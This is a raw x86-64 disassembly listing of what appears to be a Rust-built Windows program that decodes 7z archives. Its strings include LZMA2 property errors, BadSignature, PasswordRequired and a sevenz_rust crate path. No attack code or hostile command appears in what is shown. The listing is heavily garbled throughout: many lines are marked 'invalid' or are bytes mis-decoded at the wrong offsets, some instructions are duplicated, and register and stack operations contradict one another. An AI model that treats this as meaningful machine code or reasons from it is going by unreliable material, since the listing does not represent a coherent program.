mov qword [rcx + 0x18], r8
and qword [rcx + 0x20], 0
mov qword [rcx + 0x28], rdx
ret
sbb byte [rax - 0x7d], cl
invalid
ud2
add dh, bh
invalid
mov edx, eax
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.140038af3
retf
mov r14, r9
mov rcx, r9
add rcx, 0x400
jb 0x1401393d7
invalid
call fcn.140139633
add byte [rax], al
test rax, rax
jne 0x1401393dc
mov edx, 0x2000
mov rax, r13
sub rax, r15
mov r12, r13
mov rsi, r15
cmp rax, 0x1f
ja 0x14013943c
test r14, r14
mov r14, rdx
je 0x140139410
jmp 0x14013943f
mov eax, ebp
sub rax, r15
mov r14d, 0x2000
mov esi, 0x2000
mov esi, 0x2000
add byte [rax], ah
add byte [rax], al
mov r12, r13
mov rsi, r15
cmp rax, 0x1f
ja 0x14013943f
mov rcx, rbx
mov ecx, ebx
mov rdx, rdi
call 0x14013965a
add byte [rax], al
test rax, rax
je case.0x1400654ca.385
mov eax, 1
add byte [rax], al
jmp 0x1401395b8
add byte [rax - 0x7b], cl
ror byte [rdi], cl
test byte [rsi + 0x4c000001], dl
mov esp, dword [rdi]
test rdx, rdx
je 0x1401395c9
mov r12, qword [rdi]
mov rsi, qword [rdi + 0x10]
jmp 0x14013943f
invalid
add ecx, dword [rcx - 0x77]
invalid
mov r14, rdx
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x30], r15
xor r15d, r15d
lea r13, [rsp + 0x50]
lea rbp, [rsp + 0x70]
and al, 0x70
insb byte [rdi], dx
and al, 0x70
cmp rsi, r12
jne 0x140139482
cmp r12, qword [rsp + 0x40]
jne 0x140139482
mov rcx, rbx
mov rdx, rdi
call 0x14013965a
test rax, rax
jne 0x140139420
mov rsi, qword [rdi + 0x10]
test rdx, rdx
je 0x1401395cf
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + rcx*4 + 0x27], cl
mov r12, qword [rdi]
add byte [rax], al
mov r12, qword [rdi]
cmp rsi, r12
jne case.0x14007f1f8.351
mov r8d, 0x20
mov rcx, rdi
mov ecx, edi
add byte [rax - 0x77], cl
stc
mov rdx, r12
mov edx, esp
call fcn.1400389c3
movabs rcx, 0x8000000000000001
add byte [rax], al
add byte [rax], al
invalid
or byte [rax + 0x39], 0xc8
invalid
enter 0xffffffffffff850f, 0x30
add dword [rax], eax
add byte [rbx + rcx*4 + 0x27], cl
jne 0x1401395db
xor byte [rcx], al
add byte [rax], al
mov r12, qword [rdi]
mov rsi, qword [rdi + 0x10]
mov r8, qword [rdi + 8]
add r8, rsi
mov r9, r12
invalid
or byte [rcx + 1], cl
invalid
sub r9, rsi
cmp r9, r14
mov qword [rsp + 0x38], r14
and al, 0x38
cmovb r14, r9
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srciomod.rsfailed_to_fill_whole_buffer
add eax, 0x112b7e
add eax, 0x112b7e
sub edx, dword [rcx]
add byte [rax - 0x77], cl
and al, 0x20
adc dword [rax], eax
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov rdx, r14
call fcn.140085969
mov qword [rsp + 0x50], rax
push rax
mov qword [rsp + 0x58], rdx
and qword [rsp + 0x60], 0
and al, 0x60
add byte [rcx + rcx*4 + 0x7c], cl
and al, 0x68
and al, 0x60
add byte [rcx + rcx*4 + 0x7c], cl
and al, 0x68
mov rcx, rbx
mov ecx, ebx
mov rdx, r13
xor r8d, r8d
call fcn.140139304
invalid
dec dword [rax - 0x7b]
invalid
je 0x14013952b
mov r15, rax
mov rcx, rax
call fcn.14000fca9
xchg ebp, eax
in eax, dx
in eax, dx
inc dword [rax + rax*8 + 0x94840f]
add byte [rax], al
xchg ebp, eax
in eax, dx
in eax, dx
in eax, dx
inc dword [rax + rax*8 + 0x94840f]
add byte [rax], al
test byte [rax + rax - 0x76b40000], dl
jl 0x140139544
mov qword [rsp + 0x70], r15
mov dword [rsp + 0x70], edi
jo 0x14013956a
mov rcx, rbp
mov ecx, ebp
call fcn.140137625
jmp 0x1401394f6
retf
retf
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
mov r15, rax
sub r15, rcx
sub edi, ecx
jb case.0x1400c4f9a.209
mov rdx, qword [rsp + 0x58]
mov edx, dword [rsp + 0x58]
and al, 0x58
cmp rax, rdx
cmp eax, edx
ja 0x1401395ec
test rcx, rcx
je 0x1401395cf
invalid
jnp 0x14013959d
add rsi, rcx
add esi, ecx
mov qword [rdi + 0x10], rsi
ja 0x14013956b
cmp qword [rsp + 0x48], 0
add byte [rdx + rcx + 0x4c], dh
mov esi, dword [rsp + 0x38]
je 0x14013956d
mov r14, qword [rsp + 0x38]
jmp case.0x1400831b0.295
invalid
invalid
cmp rax, r14
mov rax, qword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov rdx, 0xffffffffffffffff
cmovne rax, rdx
ret 0x394c
int1
jne 0x1401395a8
ret 0xffff
cmp r14, rax
mov r14, rax
mov esi, eax
mov esi, eax
jb case.0x1400831b0.295
invalid
test r14, r14
lea r14, [r14 + r14]
lea esi, [rsi + rsi]
lea esi, [rsi + rsi]
xor al, 0x36
mov rcx, 0xffffffffffffffff
cmovs r14, rcx
cmovs esi, ecx
sar edi, 0xff
invalid
cmovs esi, ecx
jmp case.0x1400831b0.295
dec dword [rcx - 0x77]
invalid
mov r14, rax
jmp case.0x1400831b0.295
invalid
invalid
invalid
invalid
mov eax, 1
mov rdx, r15
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
ret
xor edx, edx
xor eax, eax
jmp 0x1401395b8
sub rsi, qword [rsp + 0x30]
xor eax, eax
mov rdx, rsi
jmp 0x1401395b8
mov eax, 1
movabs rdx, 0x2600000003
add byte es:[rax], al
add bl, ch
int3
add byte [rax], al
add byte [rax - 0x46], cl
add eax, dword [rax]
add byte [rax], al
add byte es:[rax], al
add byte [rax], al
add bl, ch
int3
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcio_borrowed_buf.rs
add eax, 0x1280fd
mov rcx, rax
call fcn.1401c6f20
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcio_borrowed_buf.rs
mov rdx, rax
call fcn.1401c7190
int3
mov edx, ecx
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srciomod.rsfailed_to_fill_whole_buffer
mov rcx, r8
mov ecx, eax
mov r8, rax
jmp fcn.14001ca54
xor al, 0xee
invalid
jmp fcn.140137625
invalid
enter 0xffffffffffffff25, 0x1f
call [rdi]
add byte [rax], al
mov edx, 0x2000
sub rdx, rax
invalid
ret 0x148
add rdx, rcx
setae r8b
setae al
setae al
test rax, rax
sete al
cmove rdx, rcx
or al, r8b
ror byte [rdi], 0x94
ror byte [rax + 0xf], 0x44
rol dword [rax + rcx - 0x40], 1
movzx eax, al
ret
rol bl, 0x41
push rdi
push r14
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x58
mov rsi, rdx
invalid
invalid
mov rdi, rcx
xorps xmm0, xmm0
lea r14, [rsp + 0x30]
movaps xmmword [r14 + 0x10], xmm0
movaps xmmword [r14], xmm0
invalid
invalid
lea r12, [rsp + 0x20]
mov r8d, 0x20
mov rcx, rdi
add byte [rax - 0x77], cl
stc
mov rdx, r14
call fcn.140138fbd
stc
invalid
dec dword [rcx - 0x77]
invalid
mov rbx, rdx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
invalid
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], rdx
push rsp
and al, 0x28
test rax, rax
test eax, eax
je 0x1401396bf
mov rcx, rbx
call fcn.14000fca9
test al, al
invalid
je case.0x1400c4f7b.213
sal byte [rbp + riz + 0x4c], 0x89
loope 0x1401396a1
mov rcx, r12
call case.0x1400c4f7b.199
invalid
invalid
invalid
invalid
jmp 0x140139683
invalid
invalid
cmp rbx, 0x21
jae 0x1401396ee
lea r8, [rsp + rbx]
add r8, 0x30
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140004b33
mov rax, r15
mov eax, edi
clc
mov rdx, rbx
add rsp, 0x58
add esp, 0x58
add esp, 0x58
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r14
pop r15
ret
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srciomod.rsfailed_to_fill_whole_buffer
mov edx, 0x20
and byte [rax], al
add byte [rax], al
and byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
fld1
invalid
mov rcx, rbx
call fcn.1401c6f20
fmul dword [rax]
invalid
fmul dword [rax]
add ah, cl
int3
int3
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], rcx
invalid
invalid
push 0x28
sub byte [rcx + 0x6a], bl
or byte [rdx - 0x18], bl
cmp ecx, dword [rdi - 0x74b70001]
push rbp
invalid
invalid
sub byte [rcx + 0x6a], bl
or byte [rdx - 0x18], bl
cmp ecx, dword [rdi - 0x74b70001]
push rbp
invalid
mov rcx, qword [rdx + 0x20]
mov qword [rax + 0x20], rcx
movups xmm0, xmmword [rdx]
adc byte [rdx], al
invalid
and byte [rdi], cl
adc byte [rdx], al
invalid
add cl, byte [rdi]
adc byte [rdx + 0x10], cl
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea r8, fcn.14013753a
mov cl, 0x27
mov rdx, rax
add rsp, 0x30
xor byte [rbp - 0x17], bl
fld qword [0x1949cdf57]
add eax, 0x54894800
pop rbp
jmp case.0x14002e130.2189
invalid
invalid
add eax, 0x54894800
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
mov rcx, qword [rbp - 0x10]
call fcn.14013753a
nop
add rsp, 0x20
pop rbp
ret
push 0xfc88948
mov dh, 9
invalid
mov rax, rcx
movzx ecx, byte [rcx]
invalid
lea r8, [0x14028c400]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
invalid
jmp rcx
inc rax
lea r9, [rsp + 0x60]
mov qword [r9], rax
lea rax, fcn.140009390
lea eax, [0x14024d8e0]
add eax, 0x114142
invalid
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rax, str.BadSignature
mov r8d, 0xc
mov eax, 0xc
mov eax, 0xc
jmp 0x140139aaa
add rax, 8
lea r9, [rsp + 0x60]
mov qword [r9], rax
lea rax, fcn.140009390
pop rax
adc dword [r8], eax
adc dword [rax], eax
adc dword [rax], eax
mov qword [rsp + 0x20], rax
lea rax, case.0x14018de40.36
add eax, 0x12901d
invalid
add byte [rcx - 0x48], al
or eax, dword [rax]
add byte [rax], al
mov r8d, 0xb
jmp 0x140139aaa
lea rcx, [rax + 0x10]
lea r8, [rsp + 0x60]
lea eax, [rsp + 0x60]
mov qword [r8], rcx
add rax, 8
ror byte [rax], 0x48
lea ecx, [0x14024d880]
ror byte [rax], 0x48
lea ecx, [0x14024d880]
or byte [rax - 0x73], cl
or eax, 0x11408a
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r8
and al, 0x48
lea rcx, str.actaul_kb
mov qword [rsp + 0x38], rcx
lea rcx, fcn.140009390
lea ecx, [0x14024d940]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x40], 9
or dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1241cb
lea r9, [0x14025da0e]
mov r8d, 0xd
mov eax, 0xd
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
invalid
mov eax, 0xd
jmp 0x1401399da
inc rax
lea r9, [rsp + 0x60]
lea ecx, [rsp + 0x60]
mov qword [r9], rax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
lea rax, [0x14025d9bf]
mov r8d, 0x13
add byte [rax], al
jmp 0x140139aaa
lea rcx, [rax + 0x10]
lea r8, [rsp + 0x60]
mov qword [r8], rcx
add rax, 8
lea rcx, fcn.140009390
or eax, 0x114098
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r8
lea rcx, fcn.140137625
lea ecx, [0x14024ca00]
mov qword [rsp + 0x20], rcx
lea r9, [0x14025d8ef]
mov r8d, 2
jmp 0x140139a4e
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14025d9d2]
lea edx, [0x14025d9d2]
cmovno edx, dword [rdx]
add byte [rcx - 0x48], al
adc eax, dword [rax]
add byte [rax], al
jmp case.0x14002eaa5.856
inc rax
lea r9, [rsp + 0x60]
mov qword [r9], rax
lea rax, fcn.140009390
invalid
adc dword [rax], eax
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
add eax, 0x1240a3
mov r8d, 0x15
mov eax, 0x15
jmp 0x140139aaa
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.ChecksumVerificationFailedNextHeaderCrcMismatchIo
mov dh, 0x3f
adc al, byte [rax]
invalid
mov r8d, 0x1a
jmp case.0x14002eaa5.856
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.PasswordRequiredMaybeBadPassword
mov r8d, 0x10
jmp case.0x14002eaa5.856
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14025d8da]
mov r8d, 0x15
jmp case.0x14002eaa5.856
inc rax
lea r9, [rsp + 0x60]
mov qword [r9], rax
mov dword [rcx], eax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
lea rax, str.BadTerminatedStreamsInfoBadTerminatedUnpackInfoBadTerminatedPackInfoBadTerminatedSubStreamsInfoBadTerminatedheaderExternalUnsupportedUnsupportedCompressionMethodMaxMemLimitedmax_kb
mov r8d, 0x18
jmp 0x140139aaa
lea rcx, [rax + 2]
lea r8, [rsp + 0x60]
mov qword [r8], rcx
inc rax
inc eax
lea rcx, fcn.140009390
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r8
mov ecx, 5
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x40], ecx
lea r8, str.minor
mov qword [rsp + 0x38], r8
lea r8, fcn.140009390
mov qword [rsp + 0x30], r8
xor byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x20], rcx
lea rax, str.UnsupportedVersionmajor
lea r9, [0x14025d872]
mov r8d, 0x12
mov rcx, rdx
mov rdx, rax
call fcn.14002b490
jmp 0x140139ab5
add rax, 8
lea r9, [rsp + 0x60]
and al, 0x60
mov qword [r9], rax
lea rax, fcn.140009390
cmp al, 0x11
add byte [rax - 0x77], cl
and al, 0x20
lea rax, [0x14025da78]
mov r8d, 0x10
jmp 0x140139aaa
add byte [rax], al
invalid
lea rcx, [rax + 0x10]
lea r8, [rsp + 0x60]
mov qword [r8], rcx
add rax, 8
add eax, 8
add eax, 8
lea rcx, fcn.140009390
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r8
lea rcx, fcn.140137625
mov qword [rsp + 0x20], rcx
lea r9, str.FileOpen
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
mov rcx, rdx
mov rdx, r9
mov r9, rax
call fcn.14002b760
jmp 0x140139ab5
add rax, 8
lea r9, [rsp + 0x60]
mov qword [r9], rax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rax, [0x14025d9e5]
mov r8d, 0x1c
jmp 0x140139aaa
add rax, 8
lea r9, [rsp + 0x60]
mov qword [r9], rax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
lea rax, case.0x14018de40.39
mov r8d, 5
mov rcx, rdx
mov rdx, rax
call fcn.14002b6a0
nop
add rsp, 0x68
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14025d9a4]
mov r8d, 0x1b
jmp case.0x14002eaa5.856
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14025d978]
mov r8d, 0x17
add rsp, 0x68
jmp rax
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcio_borrowed_buf.rs
mov rdx, rax
call fcn.1401c7190
int3
push rdi
ror byte [rbp + rcx*4 + 0x74], 0x24
xor byte [rcx + 0xf], al
sub dword [rsi + 0x10], eax
movaps xmmword [r14], xmm0
lea r12, [rsp + 0x20]
mov r8d, 0x20
mov rcx, rdi
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rdx, r14
call fcn.140139b37
mov r15, rax
mov rbx, rdx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
and byte [rax - 0x77], cl
push rsp
and al, 0x28
test rax, rax
je 0x14013a155
mov rcx, rbx
call fcn.14000fca9
invalid
pop rbx
in eax, dx
invalid
test al, al
je 0x14013a170
mov rcx, r12
call case.0x1400c4f7b.199
jmp 0x14013a119
cmp rbx, 0x21
jae 0x14013a184
lea r8, [rsp + rbx]
add r8, 0x30
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140004b33
invalid
in al, dx
invalid
mov rax, r15
mov rdx, rbx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srciomod.rsfailed_to_fill_whole_buffer
mov edx, 0x20
mov rcx, rbx
call fcn.1401c6f20
int3
invalid
jno 0x14013a1ba
cmp r9, r14
mov rsi, r14
cmovb rsi, r9
int1
cmp rsi, 1
jne 0x14013a1c9
mov al, byte [rbx]
mov byte [r8], al
mov byte [rax], al
jmp 0x14013a1f9
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srcioimpls.rs
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov rdx, rsi
mov edx, esi
mov edx, esi
call fcn.140085969
lea rcx, str._I_
adc al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x20
mov rcx, rax
mov r8, rbx
mov r9, rsi
call fcn.1401c59a4
sub r14, rsi
add rbx, rsi
mov qword [rdi], rbx
mov qword [rdi + 8], r14
xor eax, eax
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
ret
mov esi, ecx
mov rdx, qword [rcx]
mov edx, dword [rcx]
adc dword [rax - 0x75], ecx
jns 0x14013a239
cmp r8, rdi
cmovae r8, rdi
lea rbx, [rdx + r8]
add cl, byte [rcx + rbp - 0x39]
mov rcx, rax
call fcn.14001005d
mov qword [rsi], rbx
mov qword [rsi + 8], rdi
jle 0x14013a256
xor eax, eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
cmp r15, 0x80
je case.0x1401b6fc8.228
inc dword [rax + 0xf000000]
test byte [rbp + 0x49000000], bl
mov edi, dword [rdi + rbx]
invalid
mov rdi, qword [r15 + rbx]
mov r12, qword [rdi + 0x10]
mov r14, qword [rdi + 0x18]
mov rcx, r12
mov rdx, r14
mov r8, r13
mov r9, rsi
call fcn.1400175ae
mov bl, 0xd2
in eax, dx
dec dword [rcx - 0x7d]
invalid
invalid
test al, al
je 0x14013a2d1
mov bl, 0xd2
in eax, dx
dec dword [rcx - 0x7d]
invalid
mov rdx, qword [rdi]
test rdx, rdx
je case.0x1401b6fc8.228
mov r8, qword [rdi + 8]
cmp r14, 4
je 0x14013a4d0
cmp r14, 3
je case.0x1400c4f5c.273
cmp r14, 1
jne case.0x14013a506.3
movzx eax, byte [r12]
cmp eax, 0x21
je case.0x14002eaa5.865
cmp eax, 3
je 0x14013a572
test byte [rsi], ch
add al, byte [rax]
invalid
add ecx, dword [rdi]
test byte [rsi], ch
add al, byte [rax]
add byte [rbp + 0x57850fc0], al
test eax, eax
jne case.0x14013a506.3
movabs rax, 0x8000000000000000
mov rcx, qword [rbp + 0x20b0]
mov qword [rcx], rax
mov dword [rcx], eax
mov rax, qword [rbp + 0x20a0]
mov eax, dword [rbp + 0x20a0]
mov qword [rcx + 8], rax
test eax, eax
jne case.0x14013a506.3
movabs rax, 0x8000000000000000
mov rcx, qword [rbp + 0x20b0]
mov qword [rcx], rax
mov dword [rcx], eax
mov rax, qword [rbp + 0x20a0]
mov eax, dword [rbp + 0x20a0]
mov eax, dword [rbp + 0x20a0]
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0x20a8]
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
jmp 0x14013a917
add byte [rax], al
add byte [rax], al
mov byte [rbp + 0x20bf], 1
mov rcx, qword [rbp + 0x2130]
call fcn.140177008
lea rcx, [rbp + 0x2020]
and byte [rax], ah
add byte [rax], al
mov qword [rcx], rax
mov qword [rcx + 8], rdx
lea rax, [rbp + 0x2080]
invalid
and byte [rax], 0
invalid
mov qword [rax], rcx
mov dword [rax], ecx
lea rcx, [0x14005946f]
lea r8, [0x140289c40]
lea rdx, [rbp + 0xea8]
mov qword [rdx], r8
push 1
pop r8
mov qword [rdx + 8], r8
and qword [rdx + 0x20], 0
invalid
and byte [rax], al
invalid
mov qword [rax + 8], rcx
mov qword [rdx + 0x10], rax
mov dword [rdx + 0x10], eax
mov qword [rdx + 0x18], r8
mov byte [rbp + 0x20bf], 1
lea rcx, [rbp + 0x1fd8]
invalid
fcomp dword [rdi]
add byte [rax], al
invalid
call fcn.140015f59
movups xmm0, xmmword [rbp + 0x1fd8]
movups xmmword [rbp + 0xeaf], xmm0
mov rax, qword [rbp + 0x1fe8]
mov qword [rbp + 0xebf], rax
test dword [rdi - 0x16fffff2], edi
invalid
add al, 0
invalid
cmp byte [r12], 3
jne case.0x14013a506.3
cmp al, 0x24
add ecx, dword [rdi]
test dword [rbp + 0x41000004], ecx
cmp byte [rsp + 1], 1
invalid
cmp byte [r12 + 1], 1
add dword [rdi], ecx
test dword [rcx + 0x41000004], eax
cmp byte [rsp + 2], 1
jne case.0x14013a506.3
cmp byte [r12 + 2], 1
jne case.0x14013a506.3
mov rax, qword [rbp + 0x2130]
mov eax, dword [rbp + 0x2130]
mov r12, qword [rax + 8]
mov r13, qword [rax + 0x10]
mov byte [rbp + 0x20bf], 1
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_srcdecoders.rs
lodsd eax, dword [rsi]
sbb dl, byte [rcx]
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
lodsd eax, dword [rsi]
sbb dl, byte [rcx]
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
push 1
pop r8
push 5
pop r9
mov rcx, r12
mov rdx, r13
call fcn.14013b205
lea rcx, [rbp + 0xea8]
movabs byte [0xea88d8d4800000d], al
add byte [rax], al
mov qword [rcx], rax
mov qword [rcx + 8], rdx
lea rdx, [rbp + 0x2020]
and byte [rax], ah
add byte [rax], al
and byte [rax], ah
add byte [rax], al
and dword [rdx], 0
mov byte [rbp + 0x20bf], 1
push 4
pop r8
pop rax
pop rax
call fcn.1401377ca
test rax, rax
je 0x14013a68b
mov rcx, qword [rbp + 0x20b0]
mov byte [rcx + 8], 4
invalid
invalid
invalid
or byte [r8 + rcx*2], al
mov dword [rcx + 0x10], eax
mov qword [rcx + 0x10], rax
movabs rax, 0x8000000000000000
mov qword [rcx + 0x18], rax
mov qword [rcx + 0x20], 1
and byte [r9], al
add byte [rax], al
add byte [rax], al
and byte [r9], al
add byte [rax], al
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
and qword [rcx + 0x28], 0
movabs rax, 0x8000000000000005
mov qword [rcx], rax
add eax, 0
add byte [rax], al
or byte [rax - 0x77], 1
jmp 0x14013a90b
add byte [rcx - 0x80], al
cmp al, 0x24
add ecx, dword [rdi]
test eax, ecx
add eax, dword [rax]
add byte [rcx - 0x80], al
invalid
invalid
jl case.0x1400c5cc0.211
cmp byte [r12], 3
jne case.0x14013a506.3
cmp byte [r12 + 1], 3
add dword [rbx], eax
jne case.0x14013a506.3
movzx eax, byte [r12 + 2]
dec eax
cmp eax, 7
add bh, bh
enter 0xfffffffffffff883, 7
ja case.0x14013a506.3
lea rcx, [0x14028c448]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [r12 + 3], 3
jne case.0x14013a506.3
xor eax, eax
lea r9, [rbp + 0xea8]
mov byte [r9 + 0x14], al
mov qword [r9 + 8], 5
or byte [0x18113a52a], al
and dword [rcx + 0x10], 0
or byte [0x18113a52a], al
and dword [rcx + 0x10], 0
lea rcx, [0x1401768c8]
mov qword [r9], rcx
or dword [rax + 0x20bf85], ecx
add byte [rax - 0x73], cl
lea esi, [rax + 0x1f]
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
movabs al, byte [0x20a8858b4c000020]
add byte [rbx + rcx*4 - 0x7b], cl
test al, 0x20
add byte [rax], al
add byte [rbx + rcx*4 - 0x7b], cl
test al, 0x20
add byte [rax], al
call fcn.140137ff2
mov rdx, qword [rbp + 0x20b0]
lea rdi, [rdx + 8]
push 0xd
pop rcx
lea rsi, [rbp + 0x1f70]
jmp 0x14013a891
mov rax, qword [rbp + 0x2130]
mov eax, dword [rbp + 0x2130]
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14013a5f0
mov rcx, qword [rax + 8]
mov byte [rbp + 0x20bf], 1
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_srcdecoders.rs
xor r8d, r8d
call fcn.140059b12
mov al, byte [rax]
inc al
movzx esi, al
mov dh, pe_nt_image_headers64
jmp 0x14013a5f3
mov rax, qword [rbp + 0x2130]
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14013a641
mov rcx, qword [rax + 8]
mov byte [rbp + 0x20bf], 1
add dword [rbp + rcx*4 + 0xd], ecx
sbb dword [r9], r10d
add byte [rbp + 0x31], al
shr al, 0x3f
cmc
int1
dec dword [rdi]
mov dh, 8
add dword [rbp + rcx*4 + 0xd], ecx
sbb dword [r9], r10d
add byte [rbp + 0x31], al
shr al, 0x3f
cmc
int1
dec dword [rdi]
mov dh, 8
cmp ecx, 0x3f
ja 0x14013a64d
cmp cl, 0x28
jbe 0x14013a92c
push 0x28
pop rax
lea rcx, str.Dictionary_larger_than_4GiB_maximum_sizeUnsupported_LZMA2_property_bitsLZMA2_properties_too_short
jmp 0x14013a657
push 1
pop rsi
mov rdi, qword [rbp + 0x20b0]
lea rcx, [rdi + 0x18]
mov r8d, 0x100
mov eax, 0x100
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov edi, 0xb8480008
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48078948], al
mov eax, dword [rbp + 0x20a0]
mov qword [rdi + 8], rax
mov rax, qword [rbp + 0x20a8]
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x118], rsi
mov dword [rdi + 0x118], esi
mov byte [rdi + 0x120], 0
jmp 0x14013a917
push 0x1a
pop rax
lea rcx, [0x14024bf6f]
jmp 0x14013a657
push 0x1f
pop rax
lea rcx, [0x14024bf50]
mov r8, qword [rbp + 0x20b0]
mov byte [r8 + 8], 6
movabs rdx, 0x8000000000000000
mov qword [r8 + 0x10], rdx
push rax
adc byte [rcx - 0x77], cl
sbb byte [rcx - 0x77], cl
and byte [rax - 0x48], cl
add eax, 0
add byte [rax], al
or byte [rcx - 0x77], 0
jmp 0x14013a90b
test r13, r13
je 0x14013aa1d
invalid
mov edi, dword [rbp + 0x2020]
mov byte [rbp + 0x20bf], 1
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_srcdecoders.rs
mov rcx, r12
mov rdx, r13
xor r8d, r8d
call fcn.140059b12
hlt
int1
dec dword [rdx - 0x7274b3f8]
movabs al, byte [0x20008d894c000020]
add byte [rcx + rcx*4 - 0x73], cl
add byte [rax], ah
add byte [rax], al
mov r8, qword [rbp + 0x20a8]
mov qword [rbp + 0x2008], r8
cmp cl, 0xe0
jbe 0x14013aa4e
hlt
mov byte [rbp + 0x20bd], 1
lea rdx, [0x14024f3c3]
push 0x12
pop r8
pop rax
mov cl, 0x14
call fcn.140174c44
jmp 0x14013aa6c
cmp byte [r12 + 3], 1
jne case.0x14013a506.3
xor eax, eax
lea r9, [rbp + 0xea8]
mov byte [r9 + 0x14], al
mov qword [r9 + 8], 8
and dword [r9 + 0x10], 0
and dword [rcx + 0x10], 0
and dword [rcx + 0x10], 0
lea rcx, [0x1401765f6]
mov qword [r9], rcx
mov byte [rbp + 0x20bf], al
lea rcx, [rbp + 0x1f08]
mov rdx, qword [rbp + 0x20a0]
mov r8, qword [rbp + 0x20a8]
call fcn.140137ff2
mov rdx, qword [rbp + 0x20b0]
lea rdi, [rdx + 8]
push 0xd
pop rcx
lea rsi, [rbp + 0x1f08]
jmp 0x14013a891
cmp byte [r12 + 3], 5
jne case.0x14013a506.3
xor eax, eax
lea r9, [rbp + 0xea8]
mov byte [r9 + 0x14], al
and qword [r9 + 8], 0
and dword [r9 + 0x10], 0
and dword [rcx + 0x10], 0
and dword [rcx + 0x10], 0
lea rcx, case.0x1401525ca.323
